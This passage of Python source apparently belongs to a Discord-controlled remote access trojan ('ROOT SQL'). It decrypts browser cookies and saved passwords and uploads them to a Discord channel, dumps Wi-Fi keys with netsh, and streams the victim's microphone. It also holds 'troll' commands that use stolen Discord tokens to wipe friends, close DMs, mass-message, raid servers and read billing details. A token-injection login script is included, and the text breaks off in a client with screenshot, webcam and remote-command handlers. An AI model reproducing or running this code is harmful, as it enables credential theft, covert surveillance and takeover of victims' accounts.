"vivaldi": r"%LOCALAPPDATA%\Vivaldi\User Data\Default\Cookies",
"yandex": r"%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Default\Cookies",
"chromium": r"%LOCALAPPDATA%\Chromium\User Data\Default\Cookies"
}

cookie_path = os.path.expandvars(cookie_paths.get(browser, ""))


if not os.path.exists(cookie_path):
return None

close_browser(browser)

temp_db = f"{browser}_CookiesCopy.db"
try:
shutil.copy2(cookie_path, temp_db)
except Exception:
return None

master_key = get_master_key(browser)
if not master_key:
return None

cookies = []
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
try:
cursor.execute("SELECT host_key, name, encrypted_value, path, expires_utc,
is_secure, is_httponly FROM cookies")
for host_key, name, encrypted_value, path, expires_utc, is_secure,
is_httponly in cursor.fetchall():
decrypted = decrypt_password(encrypted_value, master_key)
if decrypted is not None:
cookies.append({
"domain": host_key,
"name": name,
"value": decrypted,
"path": path,
"expires": int(expires_utc / 1000000 - 11644473600), #
convertir de WebKit a Unix timestamp
"secure": bool(is_secure),
"httpOnly": bool(is_httponly)
})
except Exception:
pass

cursor.close()
conn.close()
os.remove(temp_db)
return cookies if cookies else None

def get_wifi_networks():
try:
# Redes guardadas
output = subprocess.check_output("netsh wlan show profiles", shell=True,
encoding='cp1252')
profiles = re.findall(r"Perfil de todos los usuarios\s*: (.+)", output)

redes_guardadas = []
for profile in profiles:
try:
profile_info = subprocess.check_output(f'netsh wlan show profile
name="{profile}" key=clear', shell=True, encoding='cp1252')
password_search = re.search(r"Contenido de la clave\s*: (.+)",
profile_info)
password = password_search.group(1) if password_search else "?"
except subprocess.CalledProcessError:
password = "Error al obtener la contraseña"
redes_guardadas.append({"name": profile, "password": password})

# Redes disponibles (alcance)


output_disp = subprocess.check_output("netsh wlan show networks",
shell=True, encoding='cp1252')
redes_disponibles = re.findall(r"SSID \d+ : (.+)", output_disp)

return {
"saved_networks": redes_guardadas,
"available_networks": redes_disponibles
}

except Exception as e:
logger.error(f"Error al obtener redes Wi-Fi: {e}")
return None

@bot.command(name="cookies")
async def extract_cookies_command(ctx):
try:
password_channel = discord.utils.get(ctx.guild.text_channels, name="001")
if not password_channel:
await ctx.send("No se encontro el canal `cookies`.")
return

# Extraer cookies usando el sistema mejorado


cookies_data = extract_all_cookies()

if cookies_data:
# Crear archivo JSON con todas las cookies
json_data = json.dumps(cookies_data, indent=4, ensure_ascii=False)

json_file = "all_cookies_extracted.json"
with open(json_file, "w", encoding="utf-8") as f:
f.write(json_data)

# Crear archivo CSV


csv_file = "all_cookies_extracted.csv"
with open(csv_file, "w", newline='', encoding="utf-8") as f:
if cookies_data:
fieldnames = cookies_data[0].keys()
writer = csv.DictWriter(f, fieldnames=fieldnames)
writer.writeheader()
writer.writerows(cookies_data)

# Crear archivo de texto legible


txt_file = "all_cookies_extracted.txt"
with open(txt_file, "w", encoding="utf-8") as f:
f.write("ROOT SQL - COOKIES EXTRAiDAS\n")
f.write("=" * 50 + "\n\n")

current_browser = ""
for cookie in cookies_data:
if cookie['browser'] != current_browser:
current_browser = cookie['browser']
f.write(f"\n[{current_browser.upper()}] - Profile:
{cookie['profile']}\n")
f.write("-" * 40 + "\n")

f.write(f"Host: {cookie['host']}\n")
f.write(f"Name: {cookie['name']}\n")
f.write(f"Value: {cookie['value']}\n")
f.write(f"Path: {cookie['path']}\n")
f.write(f"Secure: {cookie['secure']}\n")
f.write(f"HttpOnly: {cookie['httponly']}\n")
f.write("-" * 20 + "\n")

embed = discord.Embed(
title="ROOT SQL - COOKIES EXTRAiDAS",
description=f"```Se extrajeron {len(cookies_data)} cookies de todos
los navegadores```",
color=0x121212
)
embed.set_footer(text="ROOT SQL")
embed.timestamp = discord.utils.utcnow()

await password_channel.send(
embed=embed,
files=[
discord.File(json_file, filename="cookies_extracted.json"),
discord.File(csv_file, filename="cookies_extracted.csv"),
discord.File(txt_file, filename="cookies_extracted.txt")
]
)

# Limpiar archivos temporales


for file in [json_file, csv_file, txt_file]:
try:
os.remove(file)
except:
pass

final_embed = discord.Embed(
title="ROOT SQL - COOKIES",
description="```Las cookies fueron enviadas al canal #cookies```",
color=0x121212
)
final_embed.set_footer(text="ROOT SQL")
final_embed.timestamp = discord.utils.utcnow()
await ctx.send(embed=final_embed)
else:
await ctx.send("No se encontraron cookies en ningun navegador.")

except Exception as e:
await ctx.send("Ocurrio un error inesperado al extraer cookies.")

@bot.command(name="passwords")
async def password(ctx):
try:
password_channel = discord.utils.get(ctx.guild.text_channels, name="001")
if not password_channel:
await ctx.send("No se encontro el canal `cookies`.")
return

navegadores_encontrados = False

for browser in sorted(BROWSER_PATHS):


result_pass = await asyncio.to_thread(extract_passwords, browser)

if result_pass:
navegadores_encontrados = True

json_data = json.dumps(result_pass, indent=4, ensure_ascii=False)

json_file = f"{browser}_passwords.json"
with open(json_file, "w", encoding="utf-8") as f:
f.write(json_data)

csv_file = f"{browser}_passwords.csv"
with open(csv_file, "w", newline='', encoding="utf-8") as f:
writer = csv.DictWriter(f, fieldnames=["website", "username",
"password"])
writer.writeheader()
writer.writerows(result_pass)

embed = discord.Embed(
title=f"Contraseñas de {browser.capitalize()}",
description="```Ya podes ver todo del gil este```",
color=0x121212
)
embed.set_footer(text="ROOT SQL")
embed.timestamp = discord.utils.utcnow()

await password_channel.send(
embed=embed,
files=[
discord.File(json_file,
filename=f"{browser}_passwords.json"),
discord.File(csv_file, filename=f"{browser}_passwords.csv")
]
)

try:
os.remove(json_file)
os.remove(csv_file)
except Exception as e:
pass
if not navegadores_encontrados:
await ctx.send("No se encontraron contraseñas en ningun navegador.")
return

final_embed = discord.Embed(
title="ROOT SQL - PASSWORD",
description="```Las contraseñas fueron enviadas al canal #cookies```",
color=0x121212
)
final_embed.set_footer(text="ROOT SQL")
final_embed.timestamp = discord.utils.utcnow()
await ctx.send(embed=final_embed)

except Exception as e:
pass
await ctx.send("Ocurrio un error inesperado. Revisa la consola.")

@bot.command()
async def red(ctx):
try:
wifi_data = get_wifi_networks()
if not wifi_data:
await ctx.send("No se pudo obtener la informacion de redes Wi-Fi.")
return

saved_wifi_text = "RED".ljust(30) + "PASSWORD\n"


saved_wifi_text += "-"*50 + "\n"
if wifi_data["saved_networks"]:
for net in wifi_data["saved_networks"]:
saved_wifi_text += f"{net['name'].ljust(30)}{net['password']}\n"
else:
saved_wifi_text = "No se encontraron redes guardadas."

available_wifi_text = "\n".join(wifi_data["available_networks"]) if
wifi_data["available_networks"] else "No se encontraron redes disponibles."

embed = discord.Embed(title="``VIPER SQL - Redes Wi-Fi``", color=0x000000)


embed.add_field(name="Redes guardadas", value=f"```{saved_wifi_text}```",
inline=False)
embed.add_field(name="Redes disponibles",
value=f"```{available_wifi_text}```", inline=False)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"Error al obtener redes Wi-Fi: {e}")

# Variables globales
voice_client = None
audio_task = None
is_streaming = False

# Configuracion de audio
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 48000
class AudioStreamer:
def __init__(self):
self.p = pyaudio.PyAudio()
self.stream = None
self.is_streaming = False

def get_input_devices(self):
devices = []
for i in range(self.p.get_device_count()):
device_info = self.p.get_device_info_by_index(i)
if device_info['maxInputChannels'] > 0:
devices.append({
'index': i,
'name': device_info['name'],
'channels': device_info['maxInputChannels'],
'rate': int(device_info['defaultSampleRate'])
})
return devices

def start_streaming(self, voice_client, device_index=None):


self.voice_client = voice_client
self.is_streaming = True

try:
self.stream = self.p.open(
format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
input_device_index=device_index,
frames_per_buffer=CHUNK
)
return True
except Exception as e:
pass
return False

def read_audio(self):
if self.stream and self.is_streaming:
try:
data = self.stream.read(CHUNK, exception_on_overflow=False)
# Convertir a numpy array para procesar
audio_data = np.frombuffer(data, dtype=np.int16)
# Convertir de vuelta a bytes
return audio_data.tobytes()
except Exception as e:
pass
return None
return None

def stop_streaming(self):
self.is_streaming = False
if self.stream:
self.stream.stop_stream()
self.stream.close()
self.stream = None

audio_streamer = AudioStreamer()
class AudioSource(discord.AudioSource):
def __init__(self, streamer):
self.streamer = streamer

def read(self):
return self.streamer.read_audio()

async def audio_loop(voice_client):


global is_streaming
source = AudioSource(audio_streamer)

while is_streaming:
try:
if not voice_client.is_playing():
voice_client.play(source)
await asyncio.sleep(0.01) # Pequeño delay para no saturar
except Exception as e:
pass
break

@bot.command(name='audio')
async def start_audio(ctx, device_name=None):
global voice_client, audio_task, is_streaming

voice_channel_id = 1402561911752622123
channel = bot.get_channel(voice_channel_id)

if not channel:
embed = discord.Embed(description="No se encontro el canal de voz",
color=0x000000)
await ctx.send(embed=embed)
return

# Obtener dispositivos disponibles


devices = audio_streamer.get_input_devices()

if not devices:
embed = discord.Embed(description="No se encontraron dispositivos de
entrada", color=0x000000)
await ctx.send(embed=embed)
return

# Seleccionar dispositivo
selected_device = None
device_index = None

if device_name:
# Buscar por nombre parcial
for device in devices:
if device_name.lower() in device['name'].lower():
selected_device = device
device_index = device['index']
break

if not selected_device:
# Mostrar dispositivos disponibles
device_list = "\n".join([f"**{i+1}:** {dev['name']}" for i, dev in
enumerate(devices)])
embed = discord.Embed(
title="Dispositivo no encontrado",
description=f"Dispositivos disponibles:\n{device_list}",
color=0x000000
)
await ctx.send(embed=embed)
return
else:
# Usar dispositivo por defecto
selected_device = devices[0]
device_index = selected_device['index']

try:
# Detener transmision anterior si existe
if is_streaming:
audio_streamer.stop_streaming()
is_streaming = False
if audio_task:
audio_task.cancel()

# Conectar al canal de voz


if voice_client and voice_client.is_connected():
await voice_client.disconnect()

voice_client = await channel.connect()

# Iniciar streaming
if audio_streamer.start_streaming(voice_client, device_index):
is_streaming = True
audio_task = asyncio.create_task(audio_loop(voice_client))

embed = discord.Embed(
title="Audio iniciado",
description=f"**Canal:** {channel.name}\n**Microfono:**
{selected_device['name']}\n**Canales:** {selected_device['channels']}\
n**Frecuencia:** {selected_device['rate']} Hz",
color=0x000000
)
await ctx.send(embed=embed)
else:
embed = discord.Embed(description="Error al inicializar el streaming de
audio", color=0x000000)
await ctx.send(embed=embed)

except Exception as e:
embed = discord.Embed(description=f"Error al conectar: {str(e)}",
color=0x000000)
await ctx.send(embed=embed)

@bot.command(name='stopaudio')
async def stop_audio(ctx):
global voice_client, audio_task, is_streaming

try:
# Detener streaming
is_streaming = False
audio_streamer.stop_streaming()

# Cancelar tarea de audio


if audio_task:
audio_task.cancel()
audio_task = None

# Desconectar del canal


if voice_client and voice_client.is_connected():
await voice_client.disconnect()
voice_client = None

embed = discord.Embed(description="Transmision de audio detenida",


color=0x000000)
await ctx.send(embed=embed)

except Exception as e:
embed = discord.Embed(description=f"Error al desconectar: {str(e)}",
color=0x000000)
await ctx.send(embed=embed)

@bot.command(name='micros')
async def list_microphones(ctx):
devices = audio_streamer.get_input_devices()

if not devices:
embed = discord.Embed(description="No se encontraron dispositivos de
entrada", color=0x000000)
await ctx.send(embed=embed)
return

device_list = ""
for i, device in enumerate(devices):
device_list += f"**{i+1}.** {device['name']}\n"
device_list += f" Canales: {device['channels']} | Frecuencia:
{device['rate']} Hz\n\n"

embed = discord.Embed(
title="Microfonos disponibles",
description=device_list,
color=0x000000
)
embed.add_field(
name="Uso",
value="`.audio nombre_del_micro` para seleccionar",
inline=False
)
await ctx.send(embed=embed)

# ==================== COMANDOS TROLL ÉPICOS ====================

@bot.command(name="trollblock")
async def discord_token_block_friends(ctx, token: str):
"""Bloquear todos los amigos de un token de Discord"""
try:
headers = {"Authorization": token}

# Obtener lista de amigos


friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
if friends_res.status_code != 200:
await ctx.send("❌ Token invalido o sin permisos")
return
friends = friends_res.json()
blocked_count = 0

for friend in friends:


if friend.get('type') == 1: # Tipo 1 = amigo
friend_id = friend['user']['id']

# Bloquear amigo
block_res = requests.put(

f"https://discord.com/api/v9/users/@me/relationships/{friend_id}",
headers=headers,
json={"type": 2} # Tipo 2 = bloqueado
)

if block_res.status_code == 204:
blocked_count += 1
await asyncio.sleep(0.5) # Delay para evitar rate limit

embed = discord.Embed(
title="🔥 TROLL BLOCK FRIENDS",
description=f"```✅ Se bloquearon {blocked_count} amigos
exitosamente```",
color=0xff0000
)
await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trolldeldm")
async def discord_token_delete_dm(ctx, token: str):
"""Eliminar todos los DMs de un token"""
try:
headers = {"Authorization": token}

# Obtener canales DM
channels_res =
requests.get("https://discord.com/api/v9/users/@me/channels", headers=headers)
if channels_res.status_code != 200:
await ctx.send("❌ Token invalido")
return

channels = channels_res.json()
deleted_count = 0

for channel in channels:


if channel['type'] == 1: # DM channel
# Cerrar DM
delete_res = requests.delete(
f"https://discord.com/api/v9/channels/{channel['id']}",
headers=headers
)

if delete_res.status_code == 200:
deleted_count += 1
await asyncio.sleep(0.3)
embed = discord.Embed(
title="💀 TROLL DELETE DMS",
description=f"```✅ Se eliminaron {deleted_count} conversaciones DM```",
color=0xff0000
)
await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trolldelfriends")
async def discord_token_delete_friends(ctx, token: str):
"""Eliminar todos los amigos de un token"""
try:
headers = {"Authorization": token}

# Obtener amigos
friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
if friends_res.status_code != 200:
await ctx.send("❌ Token invalido")
return

friends = friends_res.json()
deleted_count = 0

for friend in friends:


if friend.get('type') == 1: # Amigo
friend_id = friend['user']['id']

# Eliminar amigo
delete_res = requests.delete(

f"https://discord.com/api/v9/users/@me/relationships/{friend_id}",
headers=headers
)

if delete_res.status_code == 204:
deleted_count += 1
await asyncio.sleep(0.4)

embed = discord.Embed(
title="💔 TROLL DELETE FRIENDS",
description=f"```✅ Se eliminaron {deleted_count} amigos```",
color=0xff0000
)
await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trollgen")
async def discord_token_generator(ctx):
"""Generar tokens falsos de Discord (troll)"""
fake_tokens = []

for i in range(5):
# Generar token fake que parece real
part1 = base64.b64encode(str(random.randint(100000000000000000,
999999999999999999)).encode()).decode()
part2 =
''.join(random.choices('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456
789-_', k=6))
part3 =
''.join(random.choices('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456
789-_', k=27))

fake_token = f"{part1}.{part2}.{part3}"
fake_tokens.append(fake_token)

embed = discord.Embed(
title="🎭 FAKE TOKEN GENERATOR",
description="```⚠️ ESTOS TOKENS SON FALSOS - SOLO PARA TROLLEAR```",
color=0xffff00
)

for i, token in enumerate(fake_tokens, 1):


embed.add_field(
name=f"Token {i}",
value=f"```{token}```",
inline=False
)

await ctx.send(embed=embed)

@bot.command(name="trollhouse")
async def discord_token_house_changer(ctx, token: str, house: str):
"""Cambiar casa de Hypesquad"""
houses = {
"bravery": 1,
"brilliance": 2,
"balance": 3
}

if house.lower() not in houses:


await ctx.send("❌ Casas disponibles: bravery, brilliance, balance")
return

try:
headers = {"Authorization": token}

# Cambiar casa
house_res = requests.post(
"https://discord.com/api/v9/hypesquad/online",
headers=headers,
json={"house_id": houses[house.lower()]}
)

if house_res.status_code == 204:
embed = discord.Embed(
title="🏠 HOUSE CHANGER",
description=f"```✅ Casa cambiada a {house.upper()}```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🏠 HOUSE CHANGER",
description="```❌ Error al cambiar casa```",
color=0xff0000
)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trollinfo")
async def discord_token_info(ctx, token: str):
"""Obtener informacion detallada de un token"""
try:
headers = {"Authorization": token}

# Info del usuario


user_res = requests.get("https://discord.com/api/v9/users/@me",
headers=headers)
if user_res.status_code != 200:
await ctx.send("❌ Token invalido")
return

user_data = user_res.json()

# Info de billing
billing_res =
requests.get("https://discord.com/api/v9/users/@me/billing/payment-sources",
headers=headers)
has_payment = billing_res.status_code == 200 and len(billing_res.json()) >
0

# Info de guilds
guilds_res = requests.get("https://discord.com/api/v9/users/@me/guilds",
headers=headers)
guild_count = len(guilds_res.json()) if guilds_res.status_code == 200 else
0

# Info de amigos
friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
friend_count = len([f for f in friends_res.json() if f.get('type') == 1])
if friends_res.status_code == 200 else 0

embed = discord.Embed(
title="🔍 TOKEN INFO COMPLETA",
color=0x7289da
)

embed.add_field(
name="👤 Usuario",
value=f"```{user_data['username']}#{user_data['discriminator']}```",
inline=True
)

embed.add_field(
name="🆔 ID",
value=f"```{user_data['id']}```",
inline=True
)
embed.add_field(
name="📧 Email",
value=f"```{user_data.get('email', 'No verificado')}```",
inline=True
)

embed.add_field(
name="💎 Nitro",
value=f"```{'Si' if user_data.get('premium_type', 0) > 0 else
'No'}```",
inline=True
)

embed.add_field(
name="💳 Método de Pago",
value=f"```{'Si' if has_payment else 'No'}```",
inline=True
)

embed.add_field(
name="🏰 Servidores",
value=f"```{guild_count}```",
inline=True
)

embed.add_field(
name="👥 Amigos",
value=f"```{friend_count}```",
inline=True
)

embed.add_field(
name="✅ Verificado",
value=f"```{'Si' if user_data.get('verified', False) else 'No'}```",
inline=True
)

embed.add_field(
name="🔗 Token",
value=f"```{token[:50]}...```",
inline=False
)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trolljoin")
async def discord_token_joiner(ctx, token: str, invite_code: str):
"""Unirse a un servidor con token"""
try:
headers = {"Authorization": token}

# Unirse al servidor
join_res = requests.post(
f"https://discord.com/api/v9/invites/{invite_code}",
headers=headers
)
if join_res.status_code == 200:
guild_data = join_res.json()
embed = discord.Embed(
title="🚀 SERVER JOINER",
description=f"```✅ Unido al servidor: {guild_data['guild']
['name']}```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🚀 SERVER JOINER",
description="```❌ Error al unirse al servidor```",
color=0xff0000
)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trolllang")
async def discord_token_language_changer(ctx, token: str, language: str):
"""Cambiar idioma de Discord"""
languages = {
"en": "en-US",
"es": "es-ES",
"fr": "fr",
"de": "de",
"it": "it",
"pt": "pt-BR",
"ru": "ru",
"ja": "ja",
"ko": "ko",
"zh": "zh-CN"
}

if language.lower() not in languages:


await ctx.send("❌ Idiomas: en, es, fr, de, it, pt, ru, ja, ko, zh")
return

try:
headers = {"Authorization": token}

# Cambiar idioma
lang_res = requests.patch(
"https://discord.com/api/v9/users/@me/settings",
headers=headers,
json={"locale": languages[language.lower()]}
)

if lang_res.status_code == 200:
embed = discord.Embed(
title="🌍 LANGUAGE CHANGER",
description=f"```✅ Idioma cambiado a {language.upper()}```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🌍 LANGUAGE CHANGER",
description="```❌ Error al cambiar idioma```",
color=0xff0000
)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trollleave")
async def discord_token_leaver(ctx, token: str, guild_id: str = None):
"""Salir de servidores"""
try:
headers = {"Authorization": token}

if guild_id:
# Salir de un servidor especifico
leave_res = requests.delete(
f"https://discord.com/api/v9/users/@me/guilds/{guild_id}",
headers=headers
)

if leave_res.status_code == 204:
embed = discord.Embed(
title="🚪 SERVER LEAVER",
description="```✅ Saliste del servidor```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🚪 SERVER LEAVER",
description="```❌ Error al salir del servidor```",
color=0xff0000
)
else:
# Salir de todos los servidores
guilds_res =
requests.get("https://discord.com/api/v9/users/@me/guilds", headers=headers)
if guilds_res.status_code != 200:
await ctx.send("❌ Token invalido")
return

guilds = guilds_res.json()
left_count = 0

for guild in guilds:


if not guild.get('owner', False): # No salir si es owner
leave_res = requests.delete(

f"https://discord.com/api/v9/users/@me/guilds/{guild['id']}",
headers=headers
)

if leave_res.status_code == 204:
left_count += 1
await asyncio.sleep(0.5)

embed = discord.Embed(
title="🚪 MASS SERVER LEAVER",
description=f"```✅ Saliste de {left_count} servidores```",
color=0x00ff00
)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trolllogin")
async def discord_token_login(ctx, token: str):
"""Generar link de login con token"""
try:
# Crear script de auto-login
login_script = f"""
// ROOT SQL Auto Login
setInterval(() => {{

document.body.appendChild(document.createElement('iframe')).contentWindow.localStor
age.token = '"{token}"';
location.reload();
}}, 2500);
"""

# Crear archivo temporal


script_file = "discord_login.js"
with open(script_file, "w") as f:
f.write(login_script)

embed = discord.Embed(
title="🔐 DISCORD AUTO LOGIN",
description="```✅ Script de auto-login generado```",
color=0x7289da
)

embed.add_field(
name="📝 Instrucciones",
value="```1. Descarga 'discord_login.js'\n2. Abre
https://discord.com/login en tu navegador\n3. F12 o clic derecho > Inspeccionar >
pestaña Console\n4. Si aparece una advertencia, escribe: allow pasting\n5. Copia y
pega el contenido del archivo\n6. Presiona Enter y espera unos segundos```",
inline=False
)

await ctx.send(embed=embed, file=discord.File(script_file))


os.remove(script_file)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trollmassdm")
async def discord_token_mass_dm(ctx, token: str, *, message: str):
"""Enviar DM masivo a todos los amigos"""
try:
headers = {"Authorization": token}

# Obtener amigos
friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
if friends_res.status_code != 200:
await ctx.send("❌ Token invalido")
return

friends = friends_res.json()
sent_count = 0

for friend in friends:


if friend.get('type') == 1: # Amigo
friend_id = friend['user']['id']

# Crear DM
dm_res = requests.post(
"https://discord.com/api/v9/users/@me/channels",
headers=headers,
json={"recipient_id": friend_id}
)

if dm_res.status_code == 200:
channel_id = dm_res.json()['id']

# Enviar mensaje
msg_res = requests.post(

f"https://discord.com/api/v9/channels/{channel_id}/messages",
headers=headers,
json={"content": message}
)

if msg_res.status_code == 200:
sent_count += 1
await asyncio.sleep(1) # Delay para evitar rate limit

embed = discord.Embed(
title="📨 MASS DM SENDER",
description=f"```✅ Mensaje enviado a {sent_count} amigos```",
color=0x00ff00
)
await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trollnuke")
async def discord_token_nuker(ctx, token: str):
"""Nukear cuenta de Discord (EXTREMO)"""
try:
headers = {"Authorization": token}

embed = discord.Embed(
title="☢️ DISCORD ACCOUNT NUKER",
description="```⚠️ ESTO DESTRUIRa LA CUENTA COMPLETAMENTE```",
color=0xff0000
)

# Cambiar configuraciones
settings_data = {
"theme": "light",
"locale": "ja",
"message_display_compact": True,
"inline_attachment_media": False,
"inline_embed_media": False,
"gif_auto_play": False,
"render_embeds": False,
"render_reactions": False,
"animate_emoji": False,
"enable_tts_command": True,
"developer_mode": True
}

requests.patch("https://discord.com/api/v9/users/@me/settings",
headers=headers, json=settings_data)

# Eliminar amigos
friends_res =
requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers)
if friends_res.status_code == 200:
for friend in friends_res.json():
if friend.get('type') == 1:

requests.delete(f"https://discord.com/api/v9/users/@me/relationships/
{friend['user']['id']}", headers=headers)
await asyncio.sleep(0.2)

# Salir de servidores
guilds_res = requests.get("https://discord.com/api/v9/users/@me/guilds",
headers=headers)
if guilds_res.status_code == 200:
for guild in guilds_res.json():
if not guild.get('owner', False):

requests.delete(f"https://discord.com/api/v9/users/@me/guilds/{guild['id']}",
headers=headers)
await asyncio.sleep(0.3)

# Cerrar DMs
channels_res =
requests.get("https://discord.com/api/v9/users/@me/channels", headers=headers)
if channels_res.status_code == 200:
for channel in channels_res.json():

requests.delete(f"https://discord.com/api/v9/channels/{channel['id']}",
headers=headers)
await asyncio.sleep(0.2)

embed.add_field(
name="💀 Destruccion Completa",
value="```✅ Cuenta nukeada exitosamente\n- Configuraciones cambiadas\n-
Amigos eliminados\n- Servidores abandonados\n- DMs cerrados```",
inline=False
)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")
@bot.command(name="trollraid")
async def discord_token_server_raid(ctx, token: str, guild_id: str, *, message:
str):
"""Raid a un servidor especifico"""
try:
headers = {"Authorization": token}

# Obtener canales del servidor


channels_res =
requests.get(f"https://discord.com/api/v9/guilds/{guild_id}/channels",
headers=headers)
if channels_res.status_code != 200:
await ctx.send("❌ No se puede acceder al servidor")
return

channels = [c for c in channels_res.json() if c['type'] == 0] # Solo


canales de texto
sent_count = 0

# Enviar mensaje a todos los canales


for channel in channels:
try:
msg_res = requests.post(

f"https://discord.com/api/v9/channels/{channel['id']}/messages",
headers=headers,
json={"content": message}
)

if msg_res.status_code == 200:
sent_count += 1
await asyncio.sleep(0.5)
except:
continue

embed = discord.Embed(
title="⚡ SERVER RAIDER",
description=f"```✅ Mensaje enviado a {sent_count} canales```",
color=0xff6600
)
await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trollspam")
async def discord_token_spammer(ctx, token: str, channel_id: str, *, message: str):
"""Spam en un canal especifico"""
try:
headers = {"Authorization": token}
sent_count = 0

# Enviar 20 mensajes
for i in range(20):
msg_res = requests.post(
f"https://discord.com/api/v9/channels/{channel_id}/messages",
headers=headers,
json={"content": f"{message}"}
)
if msg_res.status_code == 200:
sent_count += 1
await asyncio.sleep(0.1)
else:
break

embed = discord.Embed(
title="💥 CHANNEL SPAMMER",
description=f"```✅ {sent_count} mensajes enviados```",
color=0xff3300
)
await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trollstatus")
async def discord_token_status_changer(ctx, token: str, status: str, *, activity:
str = None):
"""Cambiar estado de Discord"""
statuses = {
"online": "online",
"idle": "idle",
"dnd": "dnd",
"invisible": "invisible"
}

if status.lower() not in statuses:


await ctx.send("❌ Estados: online, idle, dnd, invisible")
return

try:
headers = {"Authorization": token}

payload = {
"status": statuses[status.lower()],
"activities": []
}

if activity:
payload["activities"] = [{
"name": activity,
"type": 0 # Playing
}]

# Cambiar estado
status_res = requests.patch(
"https://discord.com/api/v9/users/@me/settings",
headers=headers,
json=payload
)

if status_res.status_code == 200:
embed = discord.Embed(
title="🎭 STATUS CHANGER",
description=f"```✅ Estado: {status.upper()}\nActividad: {activity
or 'Ninguna'}```",
color=0x00ff00
)
else:
embed = discord.Embed(
title="🎭 STATUS CHANGER",
description="```❌ Error al cambiar estado```",
color=0xff0000
)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trolltheme")
async def discord_token_theme_changer(ctx, token: str, theme: str):
"""Cambiar tema de Discord"""
themes = {
"dark": "dark",
"light": "light"
}

if theme.lower() not in themes:


await ctx.send("❌ Temas: dark, light")
return

try:
headers = {"Authorization": token}

# Cambiar tema
theme_res = requests.patch(
"https://discord.com/api/v9/users/@me/settings",
headers=headers,
json={"theme": themes[theme.lower()]}
)

if theme_res.status_code == 200:
embed = discord.Embed(
title="🎨 THEME CHANGER",
description=f"```✅ Tema cambiado a {theme.upper()}```",
color=0x7289da
)
else:
embed = discord.Embed(
title="🎨 THEME CHANGER",
description="```❌ Error al cambiar tema```",
color=0xff0000
)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

@bot.command(name="trollbrute")
async def discord_token_to_id_and_brute(ctx, token: str):
"""Convertir token a ID y hacer brute force basico"""
try:
# Decodificar primera parte del token para obtener ID
try:
token_parts = token.split('.')
user_id_encoded = token_parts[0]
user_id = base64.b64decode(user_id_encoded + '==').decode()
except:
await ctx.send("❌ Token invalido")
return

headers = {"Authorization": token}

# Obtener info basica


user_res = requests.get("https://discord.com/api/v9/users/@me",
headers=headers)
if user_res.status_code != 200:
await ctx.send("❌ Token invalido o expirado")
return

user_data = user_res.json()

# Intentar obtener info sensible


billing_res =
requests.get("https://discord.com/api/v9/users/@me/billing/payment-sources",
headers=headers)
connections_res =
requests.get("https://discord.com/api/v9/users/@me/connections", headers=headers)

embed = discord.Embed(
title="🔓 TOKEN TO ID & BRUTE",
color=0xff9900
)

embed.add_field(
name="🆔 User ID Extraido",
value=f"```{user_id}```",
inline=True
)

embed.add_field(
name="👤 Usuario",
value=f"```{user_data['username']}#{user_data['discriminator']}```",
inline=True
)

embed.add_field(
name="💳 Métodos de Pago",
value=f"```{'Detectados' if billing_res.status_code == 200 and
billing_res.json() else 'Ninguno'}```",
inline=True
)

embed.add_field(
name="🔗 Conexiones",
value=f"```{len(connections_res.json()) if connections_res.status_code
== 200 else 0} encontradas```",
inline=True
)

embed.add_field(
name="🎯 Token Valido",
value="```✅ ACTIVO```",
inline=True
)

embed.add_field(
name="⚡ Brute Force",
value="```Informacion extraida exitosamente```",
inline=True
)

await ctx.send(embed=embed)

except Exception as e:
await ctx.send(f"❌ Error: {str(e)}")

class RemoteClient:
def __init__(self, server_url):
self.server_url = server_url
self.sio = socketio.Client()
self.webcam = None
self.webcam_active = False
self.audio_recording = False
self.connected = False
self.setup_events()

def setup_events(self):
@self.sio.event
def connect():
self.connected = True
self.send_system_info()

@self.sio.event
def disconnect():
self.connected = False
self.cleanup()

@self.sio.on('get_system_info')
def get_system_info():
self.send_system_info()

@self.sio.on('take_screenshot')
def take_screenshot():
self.capture_screenshot()

@self.sio.on('start_webcam')
def start_webcam():
self.start_webcam_capture()

@self.sio.on('stop_webcam')
def stop_webcam():
self.stop_webcam_capture()

@self.sio.on('execute_command')
